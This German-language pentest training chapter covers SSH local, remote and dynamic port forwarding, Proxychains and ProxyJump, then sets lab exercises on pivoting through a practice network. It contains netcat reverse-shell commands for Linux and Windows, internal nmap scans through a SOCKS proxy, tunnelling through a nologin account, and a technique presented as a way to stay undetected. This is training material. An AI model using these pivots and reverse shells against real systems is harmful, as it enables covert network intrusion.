Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

SSH und Proxychains

SSH unter Windows

  • Vor 2018 keine native SSH-Unterstützung für Windows -> Tool der Wahl “PuTTY” bzw. “PLink”
# z.B. Lokale Portweiterleitung

plink -ssh -L 2222:192.168.1.1:22 user@192.168.1.1

##Verwendung

Local Port Forwarding

  • ermöglicht es dem Nutzer einen lokalen Port seiner Wahl über einen Zwischenhost auf einen Port seiner Wahl zu einem entfernten Ziel zu spiegeln
  • Datenfluss: LPort zu TPort

Beispiel:

# Weiterleitung von Port 5000 auf Port 22 des Ziels
# Optional : -fN für eine Background Session 
ssh -L 5000:10.1.5.251:22 user@192.168.1.1

# Anschließende SSH Verbindung auf Ziel
ssh user@127.0.0.1 -p 5000

# Es können auch mehrere Weiterleitungen mit einem Befehl eingerichtet
# werden

ssh -L 5000:10.1.5.251:22 5001:10.1.5.251:80 user@192.168.1.1

Wobei:

  • LPort
    • Local Port von welchem Traffic weitergeleitet werden soll
    • als IP Adresse wird automatisch Local Host gesetzt
  • Target
    • Ziel IP Adresse auf welche Local Port gespiegelt werden soll
    • Ziel muss dem Jump Host bekannt sein
    • Ziel kann auch der Jump Host selbst sein
  • TPort
    • Port auf Ziel IP Adresse auf welchen Local Port gespiegelt werden soll
    • Low Ports benötigen Root-Rechte
  • RHost
    • Jump Host IP Adresse auf welchem der SSH Service ausgeführt wird
    • Creds müssen bekannt und SSH/Alternativen vorhanden sein
  • User
    • Username für die SSH-Verbindung auf dem Jump Host

Wenn Nologin-Account

Unix Systeme bieten die Möglichkeit, User zu erstellen, welche sich nicht interaktiv einloggen dürfen. Dies unterbindet jedoch nicht die Erstellung eines Tunnels ohne interaktive Shell. -> Verhindern der Erstellung einer interaktiven Shell bei der Tunnelerstellung

Dafür den Schalter -fN:

# Aufbau eines Tunnels über einen nologin User

ssh -L 4444:10.1.5.251:22 noninteractiveuser@192.168.1.1 -fN

# Auszug aus der SSH-man
#       -f      Requests  ssh  to go to background just before command execution.  This is useful if ssh is going to ask for passwords or passphrases, but the user wants it in the background.  This implies -n.  The recommended way to start X11 programs at a remote site is with something like ssh -f host xterm.
#       -N      Do not execute a remote command.  This is useful for just forwarding ports.

Remote Port Forwarding

  • umgekehrt
  • Datenfluss: RPort zu TPort

Beispiel:

# Weiterleitung einer Rev Shell von Port 8000 der RHosts 
# auf Port 1337 des Angreifers

ssh -R 8000:192.168.1.2:1337 user@192.168.1.1

# Listener für Rev Shell auf Port 1337 empfängt die Verbindung

Wobei:

  • RPort
    • Port über den auf RHost weitergeleitet werden soll
    • Wird standardmäßig auf Localhost “geöffnet”
  • Target
    • Ziel der Weiterleitung
    • Muss dem RHost bekannt sein
  • TPort
    • Port auf Target zu welchem der Traffic weitergeleitet wird
  • RHost
    • Jumphost auf welchem die Weiterleitung eingerichtet wird
    • Creds müssen bekannt und SSH/Alternativen vorhanden sein
  • User
    • Username für die SSH-Verbindung auf dem Jump Host

Problem: sshd_config

  • RPF läuft nicht “out of the box”
  • entsprechende SSH-Server wird die Remote-Weiterleitung nur über das Localhost-Interface laufen lassen
  • Einstellung “GatewayPorts yes” des rHosts wodurch diesem ermöglicht wird, die aktivierte Weiterleitung nicht nur auf dem Localhost-Interface durchzuführen
  • Änderung der config wirkt sich jeweils erst bei Neuaufbau der Weiterleitung aus, sowohl beim Aktivieren als auch beim Deaktivieren der “GatewayPorts”-Option
  • Root-Rechte werden benötigt

Workaround mittels Socat oder Netcat:

# Annahme: RPF über localhost 8000 soll erreichbar sein von Außen über Port 8001
socat TCP4-LISTEN:8001,fork TCP4:127.0.0.1:8000

...

# Funktionell gleich mit Socat, aber instabil

#! /bin/bash
while :; do
	nc -l -p 8001 -c 'nc 127.0.0.1 8000'
done

Dynamic Port Forwarding

  • verwandelt den SSH-Server praktischerweise in einen Proxy-Server, welcher unseren Traffic über einen genannten Jump Host zum Ziel weiterleitet
  • Unterschied zu LPF und RPF:
    • statt einem Source- und Destination-Port wird nur der Quellport angegeben
    • Verbindungen werden abhängig vom genutzten Protokoll direkt zum Ziel auf den entsprechenden Port weitergeleitet

Beispiel:

# DPF auf Port 1337 über Zielrechner

ssh -D 1337 user@192.168.1.1

Proxychains und DPF

  • Verwendung von DPF ermöglicht den Einsatz von “Proxychains”
    • um Verbindungen effektiv über einen SOCKS Proxy in ein anderes Netz weiterzuleiten

Config:

# Einstellung von Proxychains in proxychains.conf

tail -4 /etc/proxychains.conf

# meanwile
# defaults set to "tor"
# socks4 	127.0.0.1 9050
socks4 127.0.0.1 1337 # Port muss mit Port des DPF übereinstimmen!

-> alle mit dem Tool versendeten Anfragen laufen über den per SSH aufgebauten Proxy-Server

Usage:

# Weiterleiten eines Nmap Scans ins interne Netz

proxychains4 nmap -Pn -sT 10.1.5.0/24

# Weiterleiten einer SSH Verbindung ins interne Netz
# auf durch Scan aufgeklärtes Ziel

proxychains4 ssh user@10.1.5.251

Zu nmap:
Es werden nur Full TCP Scans unterstützt
- kein UDP, auch nicht über SOCKS5 Proxy
- keine Host-Alive-Scans (deshalb -Pn beim Scan)
Scans werden sehr lange dauern

SSH Proxy Jump

  • eingebaute Möglichkeit, um SSH-Verbindungen über zwischengeschaltete SSH-Server aufzubauen

Beispiel:

# Verbindungsaufbau zu 10.1.1.5 über 192.168.1.1

ssh -J user@192.168.1.1 user@10.1.1.5

# Auch mehrere Jump Hosts möglich

ssh -J user@192.168.1.1,user@10.1.1.5 user@5.1.56.241

Beim dem angegebenen Jump Host wird eine SSH-Verbindung mit dem entsprechenden User gestartet, über welche dann die nächste Verbindung aufgebaut wird. Hierfür werden natürlich die Creds des entsprechenden Users benötigt. Funktioniert auch mit “/usr/sbin/nologin”-Shells
Kann man auch in der ssh_config anlegen:

# nano /etc/ssh/ssh_config

Host server3
    HostName 5.1.56.241
    # SSH Port bei ProxyJump explizit angeben
    ProxyJump user@192.168.1.1:22,user@10.1.1.5:22 
    # User für server3 / 5.1.56.241
    User user

# Login erfolgt dann mit

ssh server3

Sneaky Fynn Way

  • Anlegen von Jump Hosts kann auch mit einer Portweiterleitung verbunden werden:
# nano /etc/ssh/ssh_config

Host server3
    HostName 5.1.56.241
    # SSH Port bei ProxyJump explizit angeben
    ProxyJump user@192.168.1.1:22,user@10.1.1.5:22 
    # User für server3 / 5.1.56.241
    User user
	RemoteForward 9999 127.0.0.1:9999

# Login erfolgt dann mit

ssh server3

# RevShell auf Server3 dann z.B. über 

nc 127.0.0.1 9999

Nach der Ausführung des SSH-Logins wird nun der RPF direkt über die Tunnelstrecke geleitet. Hierdurch wird das Erstellen einzelner RPF auf den Jump Hosts überflüssig und es müssen keine zusätzlichen Ports geöffnet werden. Dies hilft uns vor allem damit, deutlich leichter unentdeckt zu bleiben, da “nur” eine normale, stehende SSH-Verbindung auf das Ziel vorhanden ist.


Aufgabe 1

Arbeitet euch mit Hilfe von SSH, Proxychains und Nmap durch die einzelnen Netzwerke der Topologie, bis zum Erreichen des Webservers vor. Ziel ist es, die intern gehostete Webseite des Servers von eurem Angreifer aus aufrufen zu können.

Gedachter Weg zum Webserver:

  • Attacker
  • DebianFront
  • DebianNetMid
  • WebServer

Ansatz:

SSH LPF mit Jump Hosts

ssh -L 8080:10.10.1.253:80 -J user@192.168.1.1 user@10.1.5.251 -fN

...

curl 127.0.0.1:8080 -I
HTTP/1.1 200 OK
[...]

Aufgabe 2

Errichtet Reverse Shells (z.B. mit Metasploit oder netcat) von aufgeklärten Windows und Linux Targets innerhalb des Netzwerkes. Nehmt hier jeweils ein Target von jedem Betriebssystem mit einem bzw. zwei Hops zwischen Target und Attacker.

ssh -R 4567:localhost:8888 user@192.168.1.1

# Jetzt muss in der ssh_config GatewayPorts auf "yes" gesetzt werden

Auf der Attacker:

nc -lnvp 8888

Auf der Remote:

nc 10.1.5.252 4567 -e /bin/sh

Für Windows sieht es ähnlich aus, nur der Befehl auf der Windows-Remote-Maschine muss angepasst werden:

ncat.exe 10.1.5.252 4567 -e cmd

So erhält man auf dem Listener eine CMD-Instanz.

Aufgabe 3

DebianFront besitzt einen “user2:user2” Account, welcher mittels /usr/sbin/nologin eine interaktive Shell verweigert bekommt. Nutzt diesen Account, um eine erfolgreiche Portweiterleitung einzurichten.

Gleicher Ansatz wie bei Aufgabe 1 auch schon, nur dass

-fN

als Schalter mit angegeben werden muss.

Der gesamte Befehl sieht dann wie folgt aus:

ssh -L 8080:10.10.1.253:80 -J user2@192.168.1.1 user@10.1.5.251 -fN

Aufgabe 4

Passt die ssh_config so an, dass eine Verbindung vom Angreifer bis zum Webserver über Jumphosts möglich ist.

  • Erstellen von “config” in ~/.ssh/
Host webserver
    HostName 10.10.1.253
    ProxyJump user@192.168.1.1,user@10.1.5.251
    User user
        LocalForward 8080 127.0.0.1:80

Auf der Attacker:

ssh webserver

...

curl 127.0.0.1:8080 -I
HTTP/1.1 200 OK
[...]